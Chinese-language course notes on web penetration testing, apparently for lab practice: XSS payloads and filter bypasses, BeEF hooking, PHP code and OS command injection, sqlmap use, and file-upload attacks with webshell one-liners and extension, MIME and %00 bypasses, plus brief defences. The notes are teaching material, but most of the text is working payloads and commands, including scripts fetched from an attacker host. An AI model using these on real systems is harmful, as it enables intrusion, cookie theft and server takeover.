05--XSS + 三种注入 + 文件上传
XSS 漏洞概述 、 简介
XSS 作为0WASP TOP 10 之一,XSS 被称为跨站脚本攻击(Cross-sitescripting),本来应该缩写为CSS,但是由于和CSS(Cascading StyleSheets,层叠样式脚本)重名,
所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS 攻击的"想象"空间特别大。
XSS 通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。
用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript 解释器,可以解析javascript,
然而浏览器不会判断代码是否恶意。也就是说,XSS 的对象是用户和浏览器。
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入SS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。* XSS 危害
XSS 利用JS 代码实现攻击,有很多中攻击方法,以下简单列出几种
盗取各种用户账号 、窃取用户Cookie资料,冒充用户身份进入网站 、 劫持用户会话,执行任意操作 、刷流量,执行弹窗广告 、传播蠕虫病毒等等
读取cookie信息:
<script>alert(document.cookie);</script>
XSS 漏洞的验证:
我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC
POC 漏洞的验证与检测
EXP 漏洞的完整利用工具
shellcode 利用漏洞时,所执行的代码
payload 攻击载荷
在sqlmap中 攻击代码的模板
在msf中 与shellcode 类似,功能是建立与目标的连接
验证XSS 漏洞存在的PoC 如下:
------------
<script>alert(/xss/)</script> 常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
-----------------------
我们可以在测试页面中提交这样的代码 <script>alert(/xss/)</script> 点击提交按钮,就能看到弹窗操作。表明它存在XSS漏洞
我们发现,提交的代码 <script>alert(/xss/)</script> ,被当作字符串输出在HTML 页面中,浏览器会根据 <script> 标签识别为JS语句,并会执行它,
执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS 漏洞的存在性。 意味着可以执行其他任何JS代码
注意:用pikachu网站做测试时,可能要修改一下输入框的字数限制(在网页界面修改代码即可,不要在文件中修改源代码)
输入框可能会设置有字数限制,需要在界面中该代码,
XSS的分类:
XSS 漏洞大概可以分为三个类型∶反射型XSS、存储型XSS、DOM 型XSS。
1、反射型XSS :
反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。
在搜索框中,提交PoC【<script>alert('/xss/')</script>】,点击搜索,即可触发反射型XSS;查看代码,我们会注意到,我们提交的poc 会出现
在search.php 页面的keywords 参数中。
2、存储型XSS :
存储型XSS 是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。
存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码,
才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
3、DOM XSS:
DOM XSS 比较特殊。owasp 关于DOM 型号XSS的定义是基于DOM 的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。
其特殊的地方就是payLoad在浏览器本地修改DOM 树而执行,并不会传到服务器上,这也就使得DOM XSS 比较难以检测。如下面的例子:
#message=<script>alert(/xss/)</script>
我们以锚点的方式提交PoC。PoC并不会发送的服务器,但是已经触发了XSS。查看当前页面会发现在DOM树中出现了我们提交的<script>alert(/xss/)</script>
XSS的构造:
1、利用 <> 构造 HTML/JS
可以利用 <> 构造HTML 标签和 <script> 标签。
在测试页面提交参数 <h1 style='color∶red'> </h1>;利用 HTML 构造JS
提交 <script>alert(/xss/)</script>,利用 <script>构造JS语句
2、伪协议
也可以使用javascript∶伪协议的方式构造XSS
形如 javascript:alert(/xss/);
提交参数【<a href="javascript∶alert(/xss/)">touch me!</a>】,然后点击超链接,即可触发XSS。
也可以使用img 标签的伪协议,但是这种方法在IE6下测试成功。<img src="javascript:alert('xss')">
3、 产生自己的事件
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。
所以我们可以通过事件触发JS函数,触发XSS。
事件种类
windows 事件 对windows 对象触发的事件
Form 事件 HTML 表单内的动作触发事件
Keyboard事件 键盘按键事件
Mouse事件 由鼠标或类似用户动作触发的事件
Media事件 由多媒体触发的事件Media
如,<img src='./smile.jpg' onmouseover='alert(/xss/)'> 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
单行文本框的键盘点击事件,
<input type="text" onkeydown="alert(/xss/)"> ,当点击键盘任意一个按键的时候出发。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
4、利用CSS 跨站(old)
我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。
它存在4种形式: 行内样式 、 页内样式 、外部样式
4-1、其他标签以及手法
我们也可以用其他标签触发XSS。
<svg onload="alert(/xss/)"> 这个语句还是比较简洁的
<input onfocus=alert(/xss/) autofocus>
XSS 的变形:
我们可以构造的XSS代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
1、大小写转换 :
可以将payload 进行大小写转化。如下面两个例子
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2、引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/)/>
3、 /(左斜杠) 代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4、回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<Img/sRc='#'/Onerror ='alert(/xss/)' />
<A hREf="j
avascript:alert(/xss/)">click me!</a>
5、对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对应编码如下字母
字母 ASCII码 十进制编码 十六进制编码
a 97 a a
e 101 e e
经过简单编码之后的样子。
<A hREf="javascript:alert(/xss/)">click me!</a>
另外,我们可以将以下字符插入到任意位置
Tab 	
换行 
;
回车 
;
注:HTML对字母大小写不敏感。JS对字母大小写敏感
6、双写绕过
例如过滤器过滤 <script>;那我们可以写成这样 <scr<script>ipt>
7、CSS 中的变形
7.1、使用全角字符
eg: width:e x p r e s s i o n(alert(/xss/))
7.2、注释会被浏览器忽略
eg: width:expr/*~*/ession(alert(/x~s~s/))
7.3、样式表中的 \ 和 \0
<style>@import'javasc\ri\Opt:alert("xss")';</style>
Shellcode 的调用:
She llcode 就是在利用漏洞所执行的代码。完整的XSS 攻击,会将ShelLcode存放在一定的地方,然后触发漏洞,调用SheLLcode。
1、远程调用JS
可以将JS 代码单独放在一个js 文件中,然后通过http 协议远程加载该脚本。如:
<script src="http://172.16.132.138/XSS-TEST/normalxss.js"></script>这是比较常用的方式。XSS。js 的内容如下:
------------------------------------
alert('xss.js');
-------------------------------------
2、windows. LoCation.hash
我们也可以使用js 中的 windows.Location.hash 方法获取浏览器 URL 地址栏的 XSS 代码。
windows. Location。hash 会获取 URL 中 # 后面的内容,例如 :
http∶//domain.com/index,php#AJEST ,windows.Location.hash 的值就 #AJEST
所以我们可以构造如下代码
?submit=submit&xSscode=<SCript>evaL(Location.hash.Su bstr(1))</sCript>#alert(/This is windows.Location.hash/),
直接提交到测试页面xss.php。
3、XSS Downloader
XSS 下载器就是将XSS 代码写到网页中,然后通过AJAX 技术,取得网页中的XSS代码。
在使用XSS Doiwn Loader之前需要一个我们自己的页面,xss_downloader.php,内容如下:
----------------------------------------
~~~~~~~B0F |alert(/xss/)|EOF~~~~~~~~~~~~~ (~ 表示其他的内容)
----------------------------------------
常见的下载器如下:
1 <script>
2 function XSS(){
3 if (window.XMLHttpRequest){
4 a = new XMLHttpRequest();
5 } else if (window.ActiveXObject){
6 a = new ActiveXObject ("Microsoft.XMLHTTP");
7 } else {return;}
8 a.open('get','http://172.16.132.161/XSS-TEST/normalxss_downLoader.php',false );
9 a.send();
10 b=a. responseText;
11 evaL(unescape(b.substring(b.index0f('BOFI')+4,b.index0f('|EOF'))));}xSS();
12 </script>
AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
1 <?php 2 header('AccesS-Control-Allow-Origin:*'); //表示允许任何域都可以跨目标访问,*表示通配符 3 header('Access-Control-Allow-Headers: Origin,X-Requested-With, Content-Type,Accept');
同源策略规定∶不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。
总结:协议相同+域名相同+端口号相同,浏览器才认为是同一个网站,才不会受到同源策略的影响,才可以正常的发送Ajax请求
4、备选存储技术:
我们可以把Shelcode 存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
点击Cookie-XSS 验证,产生如下效果。
XSS通关挑战(需要自己塔环境):
XSS 通关挑战是一个练习XSS 绕过和展示各种XSS 场景的靶机环境。
<script " '0onn>
<script script " '0onn>
<script script " '00nn>
都是用来测试是否存在XSS漏洞的常用代码之一
01:
<script>alert(/xss/)</script>
02:
"><img onerror=alert(/xss/) src="#
03:
' onmouseover='alert (/xss/)
04:
" onmouseover="alert (/xss/
05:
"><a href="javascript:alert(/xss/)">click me!</a>
06:
" 0nmouseover="alert(/xSS/)
"><a hREf="javascript:alert(/xss/)">click me!</a>
07:
" oONnmouseover="alert(/xss/)
08:
javascript:alert(/xss/)
09:
javascript:alert('http://')
10:
?t_sort=click me!" type="button" onclick="alert(/xss/)
11:
Referer:click me!" type="button" onclick="alert(/xss/)
12:
User-Agent:click me!" type="button" onclick="alert(/xss/)
另一个XSS通关挑战网站 XSS Platform (xssaq.com)
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=202
XSS 的防御
使用XSS Filter(输入检查的一种方式)
XSS Filter 的作用是过滤用用户(客户端)提交的有害信息从而达到防范XSS 攻击的效果。
1.1、 输入过滤 (输入检查)("永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。)
输入验证
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
输入是否仅包含合法的字符 、输入字符串是否超过最大长度限制 、 输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E-mail 地址、IP 地址等 、 数据消毒 、 过滤和净化掉有害的输入
1.2、 输出编码
HTML 编码主要是用对应的HTML 实体代替字符
1.3、 设置黑白名单
不管是采用输入过滤还是输出编码.都是针对数据信息进行黑」白名单式的过滤
黑名单,不允许的数据。 白名单,允许的数据
1.4、使用HttpOnly
浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
beef:
一个XSS 漏洞的利用平台
kali中自带
工具目录 /usr/share/beef-xSs
配置文件 config.yamL
启动beef 工具的方法:
1、beef-xss
2、/usr/share/beef-xss/beef
修改默认用户名和密码
Web 界面管理控制台(可以通过此,来访问beef页面)
http://172.16.132.128:3000/ui/panel (在其他主机上访问时IP为开启beef的kali主机的IP)
ShelLcode
http://172.16.132.128:3000/hook.js (IP同上一个)
eg:<script src="http://http://172.16.132.128:3000/hook.js "></script> (参考上面 shellcode调用)
如:将上面这个JS语句放入留言板中,提交;当管理员审核时这个语句会执行,主机会被beef劫持
测试页面(可以通过此页面劫持主机)(IP同上一个)
http:L/172.16.132.128:3000/demos/butcher/index.html
1、浏览器劫持
2、Cookie 窃取与欺骗--固定会话攻击
获得 data: cookie=username=admin;然后在浏览器页面的控制台中输入以下代码,就可以登录界面
document.cookie="username=admin";
document.cookie="userid=1";
3、利用浏览器漏洞getshell
工具 msff
4、XSS 平台 (xssaq.com)
XSS 盲打
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=203
封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。 (zkaq.cn)
原理:
PHP 代码执行(注入)(Web方面)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL 注入漏洞,SQL 是将SQL语句注入到数据库中执行,
而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web 后门的存在。
原因:
1. 程序中含有可以执行PHP 代码的函数或者语言结构
2. 传入第一点中的参数,客户端可控,直接修改或者影响。
漏洞危害:
应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果具有服务器没有正确配置,
Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。本课程中以PHP 为例子来说明,代码执行漏洞。PHP 中有很多函数和语句都会造成PHP 代码执行漏洞。
相关函数和语句:
1、eval()
evaL()会将字符串当作php 代码执行。测试代码如下

<?php if(isset($_GET['code'])){ $code=$_GET['code']; eval($code); helse{ echo "PLease submit code!<br />?code=phpinfo();"; } ?> 提交变量 ?code=phpinfo(); 我们提交一下参数也是可以的 ?code=${phpinfo()}; ?code=1;phpinfo(); 注意:这里echo()中的内容的末尾要加 ;结尾
一个eval()函数能够执行多条php语句
2、assert()
assert()同样会作为PHP 代码执行了;测试代码如下

<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
assert($code);
}eLse{
echo "PLease submit code!<br />?code=phpinfo()";
}
?>
提交参数 ?code=phpinfo()
3、preg_replace()
preg_replace()函数的作用是对字符串进行正则处理。参数和返回值如下
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int Limit =-1[,int &$count]])
在第三个参数中查找第一个参数的字符,并用第二个参数的字符替换
eg: pre_erplace('/a/','g',"sdsafgahtr") ; ------------> sdsgfgghtr
这段代码的含义是搜索$subject 中匹配$pattern 的部分,以$replacement 进行替换,而当$pattern 处,即第一个参数存在 /e 修饰符时,$replacement 的值会被当成PHP 代码来执行。典型的代码如下

<?php if(isset($_GET['code'])){ $code=$_GET['code']; preg_replace("/八\【(.*)\】/e", '\\1',$code); }eLse{ echo"?code=[phpinfo()]"; } ?> 提交参数 ?code= phpinfo(), phpinfo()会被执行
4、cal_user_func()
calL_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,
也就是存在任意代码执行漏洞。
以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下:
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}else{
echo"?fun=assert&para=phpinfo()";
}
?>
将fun作为函数,para作为参数
提交参数 ?fun=assert¶=phpinfo()
5、动态函数$a{$b}
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()
的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下:
<?php
if(isset($_GET['a']))}
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}e1se{
echo "?a=assert& b=phpinfo()";
}
?>
将a作为函数,b作为参数
提交参数 ?a=assert&b=phpinfo()
漏洞利用:(常见的其中几种)
1、直接获取Shell
提交参数 ?code=@eval($_POST 1 ); ,即可构成一句话木马,密码为 1 。可以使用菜刀连接。连接成功。
2、获取当前文件的绝对路径
_FILE_ 是PHP 预定义常量,其含义当前文件的路径。提交代码 ?code=print(_FILE_);
3、读文件
我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。提交代码
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); 读取服务器hosts 文件。
4、写文件
我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。提交代码 ?code=var_dump(file_put_contents($_POST 1 ,$_POST 2 ));
此时需要借助于hackbar 通过post 方式提交参数 1=shell.php&2=<?php phpinfo()?> 。
即可在当前目录下创建一个文件sheL1.php。
防御方法:
1.尽量不要使用eval 等函数
2. 如果使用的话一定要进行严格的过滤
3.preg_replace 放弃使用/e 修饰符
4.disable_functions = assert
实战∶Seacmsv6.26(它是一个网站模板,有不少网站都是以它为模板搭建的) 命令执行
漏洞点【?searchtype=5&tid=&area=phpinfo()
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=204
$_REQUEST 预定义超全局数组变量;get、put、cookie的参数,它都可以接收
PHP命令注入补充:
1、PHP命令注入补充:
print不能输直接出数组,print_r 可以直接输出数组
eval()、assert() 等函数不能直接执行 cmd命令,也不能嵌套system()使用
但是php中 scandir() 可以起到类似 ls 的作用
eg: scandir(/) <==> ls /
可以使用 print_r(scandir(目录))形式输出
可以属于 print_r(file_get_content(文件)) 输出文件
file_get_content(文件) <==> cat 文件
整体来看是这样:
eval(print_r(scandir(目录)))
eg:(结合特定漏洞)
http://node4.buuoj.cn:28562/calc.php?%20num=print_r(scandir(chr(47)));//若是print()则输出不完整
http://node4.buuoj.cn:28562/calc.php?%20num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
2、chr(对应字符的ASCLL码) <==> 对应字符
eg: chr(47) <==> / chr(97) <==> a
0S(操作系统)命令注入原理以及成因
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的
一些应用需要去调用一些外部程序 (系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
总的来说,主要是因为:
1.用户输入作为拼接
2.没有足够的过滤
漏洞危害:
1.继承web 服务器程序权限,去执行系统命令
2.继承Web 服务器权限,读写文件
3.反弹Shel
4.控制整个网站
5. 控制整个服务器
相关函数:
1、system()
system()能够将字符串作为0S 命令执行,自带输出功能。测试代码如下:
<meta charset='gb2312'> <?php if(isset($__GET['cmd'])){ echo "<pre>"; system($_GET 'cmd' ); }eLse{ echo"?cmd=ipconfig"; } ?>
2、exec()
exec()函数能将字符串作为0S 命令执行,需要输出执行结果。测试代码如下:
<?php if(isset($_GET['cmd'])){ echo "<pre>"; print exec($_GET['cmd']); }eLse{ echo"?cmd=whoami "; } ?> 它返回的结果有限;但可以将完整结果保存在文件中
3、shell_exec()
<?php if(isset($_GET['cmd'])){ print shell_exec($_GET['cmd']); }eLse{ echo"?cmd=whoami"; } ?>
4、passthru()
<?php if(isset($_GET['cmd'])){ passthru($_GET['cmd']); }eLse{ echo"?cmd=whoami"; } ?>
5、popen()
popen()也能够执行0S命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。
<?php if(isset($_GET['cmd'])){ $cmd=$_GET['cmd'].">>,1.txt"; //将结果输入到1.txt文件中 popen($cmd, 'r'); }else{ echo"?cmd=whoami"; } ?>
然后查看1。txt 文件
6、反引号(esc键的下面那个)
反引号 `` 内的字符串,也会被解析成OS 命令。测试代码如下
<?php if(isset($_GET['cmd'])){ i $cmd=$_GET['cmd']; print `$cmd`; }else{ echo"?cmd=whoami"; } ?>
漏洞利用:
0S 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功
1、查看系统文件
提交参数 ?cmd=type c∶\windows\system32\drivers\etc\hosts ,查看系统hosts 文件。
2、显示当前路径
提交参数 ?cmd=cd
3、写文件
提交参数 ?cmd=echo "<?php phpinfo();?>"> C∶\phpStudy\wwW\Commmandi\shel.php
页面没有报错,说明文件写入成功。访问shell.php 文件
防御方法:
1.尽量减少命令执行函数的使用,并在disable functions 中禁用
2. 在进入命令执行的函数或方法之前,对参数进行过滤
3. 参数的值尽量使用引号包裹,并在拼接前调用adds lashes 进行转义
使用 | (| 空格)可以闭合之前的ping命令

详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=205
id=45 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
在控制台输入:
document.cookie=escape("id=-45 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")
document.cookie="id="+escape("-45 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")
使用sqlmap工具注入:
sqLmap -u "http://172.16.132.135:8001/onews,asp?id=45" --tables
sqLmap-u"http;//172.16.132.135;8001/onews,asp?id=45"-T"admin"--columns
sqLmap -u "http://172.16.132.135:8001/onews,asp?id=45"-T"admin" -C "admin,passowrd"--dump
-----------------------------------------
sqLmap -u "http://172.16.132.135:8002/onews,asp?id=45"
sqlmap-u "http://172.16.132.135:8002/onews.asp" --cookie"id=45" --level 2
sqlmap -u"http://172.16.132.135:8002/onews.asp"--cookie "i d=45"--level 2--tables
------------------------------------------
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=206
漏洞概述:
文件上传是Web应用的必备功能之一,比如上传头像显示个性化、上传附件共享文件、上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web 用户就可以上传任意文件,
包括恶意脚本文件、exe 程序等,这就造成了文件上传漏洞。
漏洞成因:
文件上传漏洞的成因,一方面服务器配置不当会导致任意文件上传;另一方面,Web应用开放了文件上传功能、并且对上传的文件没有进行足够的限制;再者就是,程序开发部署时候,没有考虑
到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
漏洞危害:
上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本、程序等。如果Web服务器所保存上传文件的可写目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。如果攻击者通过其他
漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。
通过上传漏洞获得的网站后门,就是WebShell
WebShe11:
在计算机科学中,Shell 俗称壳(用来区别于"核"),是指"为使用者提供操作界面"的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者1inux 下bash 等,虽然这些系统上的
命令解释器不止一种。
WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell本质上是在服务器端可运行的脚本文件,
后缀名为∶php/.asp/.aspx/.jsp 等,也就是说WebShel1 接收来自于Web 用户的命令,然后再服务器端执行。
1、大马:
WebShe11 也可以是大马,也是网站木马。有一类WebShell之所以叫大马。是因为与小马(-句话木马)区分开,并目代码比较大。但是功能比较丰富。同样。大马有很多种脚本格式。其功能基本相同。
每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。
在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp 的大马。
2、小马
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。
ASP的一句话木马:
<%eval request("cmd")%>
ASP.NET的一句话木马
<%@ Page Language="Jscript"%> <%eval(Request.Item ["cmd"],"unsafe");%>
PHP的一句话木马
<?php @eval($_REQUEST[ 'cmd']);?>
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码
(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是 cmd 。(推荐使用蚁剑)
中国菜刀与一句话木马配合实现了三大基本功能,如下:
1)文件管理:
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等。
2)虚拟终端
在中国菜刀下可以获得类似于cmd 和bash 的命令行接口,可以执行相关命令。
3)数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例子,填写配置,如下:
<T>MYSQL</T> //数据库类型 <H>localhost</H> //数据库地址
<U>root</U> //数据库的用户 <P></P> //数据库的密码,密码为空就不写
<L>utf8</L> //编码
此时,我们就可以执行SQL 语句,管理数据库了
3、GetShell
GetShell,顾名思义,就是获取Web 的过程和结果。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径。
文件上传漏洞利用的条件:
一定的条件:
1)、Web 服务器要开启文件上传功能,并且上传api(接口)对外"开放"(Web 用户可以访问);
2)、web 用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,Web 目录都有执行权限。
3)、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是Web 容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
4)、无视以上条件的情况就是服务器配置不当,开启了PUT 方法。
防御、绕烧过、利用:
文件上传的防御、文件上传的防御绕过还有利用,总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。
所以,下文也是以这种方式讨论文件上传的问题
1、黑白名单策略(防御)
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果"客体"在黑名单中,一律"禁止",如果"客体"在白名单中,一律"允许"。
2、PUT 方法上传文件
HTTP 请求方法之一,允许想服务器直接写入文件
Apache 如何开启PUT 方法。 测试Apache 是否开启了put 方法telnet 172.16.132.161 80 OPTIONS/ HTTP/1.1 H0ST:172.16.132.161
3、前端限制与绕过
有些Web 应用的文件上传功能,仅在前端用JS 脚本做了检测,如检测文件后缀名等。
前端JS 脚本检测的安全防御是十分薄弱的。可以非常轻松的绕过。
方法一∶因为JS 脚本的运行环境是浏览器,我们可以修改JS 代码,甚至删除表单事件。
方法二∶使恶意文件后缀名符合白名单策略,用Burp 挂代理抓包,然后修改文件后缀名即可。
对于文件上传,只从Web前端进行检测显然防护不足.那么服务器端检测就特别重要了。一般服务器端检测,采用黑白名单策略,
4、服务器端检测--MIME 类型
MIME(Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。常见的MIME 类型如下
文件扩展名 Mime-Type
.js application/x-javasCript
.htmL text/htmL
.jpg image/jpeg
.png image/png
.pdf appLication/pdf
在HTTP 协议中,使用Content-Type 字段表示文件的MIME 类型。当我们上传文件的时候,抓到HTTP 数据包。
........
由于服务器在检测Content-Type 类型的时候,取得的变量来自于用户,所以可以用Burp 抓包,修改这个字段,使其合法,即可绕过限制上传任意文件。
5、服务器端检测--文件内容(以图片为例)
对于文件内容检测,我们可以通过制作上传图片木马绕过。
在文件第一行加上
GIF89a(它表示一个图片)
图片、文件合并层一个新文件
eg1: copy tupian.png/b+wenjian.php/a xinwenjian.jpg
文件幻数
png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33
这三种图片的开头都是固定的
注:图片木马并不会执行其中的代码,但若是结合其他漏洞(如:服务器解析漏洞、文件包含漏洞等)时,其中的恶意代码将会被执行
6、服务器端检测--后缀名
服务器端还会检测文件后缀名。
服务器端在检测文件名的时候,依然会采用黑白名单策略。
黑名单策略,不允许上传phplasplaspx|jsp...等可执行脚本的文件;白名单策略,只允许上传jpg |gif |png |doc|rar..等格式的文件。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。可以执行脚本后缀名:
.php .php2 .php3 .php5 .phtmL .asp .aspx .ascx .ashx .asar .cer .jsp .jspx
对于后缀名白名单策略,我们只能上传在白名单内的文件后缀名。
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=208
00 截断
00 就是NuLl(空)字符,URL 中表现为%00,00 截断会导致文件上传路径截断。我们以upload-labs 第十一关为例子说明这个问题。下面时主要代码:
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png', 'gif'); $file_ext= substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true;
}else{ $msg = '上传失败!';
}
}e1se{ $msg ="只允许上传.jpgl.pngl.gif类型文件!"; }}
其中 move_uploaded_file 是一个文件系统函数:
它是用C语言编写的,而C语言在读取字符串时,只会根据空字符(即空格)来判断字符串是否读取结束。即便空格之后还有字符,也不在读取
在上传文件时抓取得包中:
POST字段中的 save_path字段表示文件上传后储存的位置;可以在这里修改路径或是将其存为另一种格式的文件,使其绕过一些限制(文件上传后会被移动到该位置);
但要在修改后的位置末尾加上 %00(截断)
eg: 原位置: save_path"../upload/"
改 : save_path"../upload/test.php%00"
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=211
. htaccess 攻击
.htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。
如果一个Web 应用允许上传,htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险。
.htaccesS 攻击想象空间非常大。首先看Apache 的配置,若是允许,则.htaccesS 文件覆盖掉Apache 的配置。
1、将.png 文件当作PHP文件解析
将以下代码写入文件,并保存成 .htaccesS 名字,放到测试目录下
AddType appLication/x-httpd-php .png
在同一目录下创建一个文件 info.png ,文件内容如下
<?php phpinfo(); ?>
当我们访问该文件时,info.png 内的PHP 代码将会被执行。
2、文件名中包含php 关键字
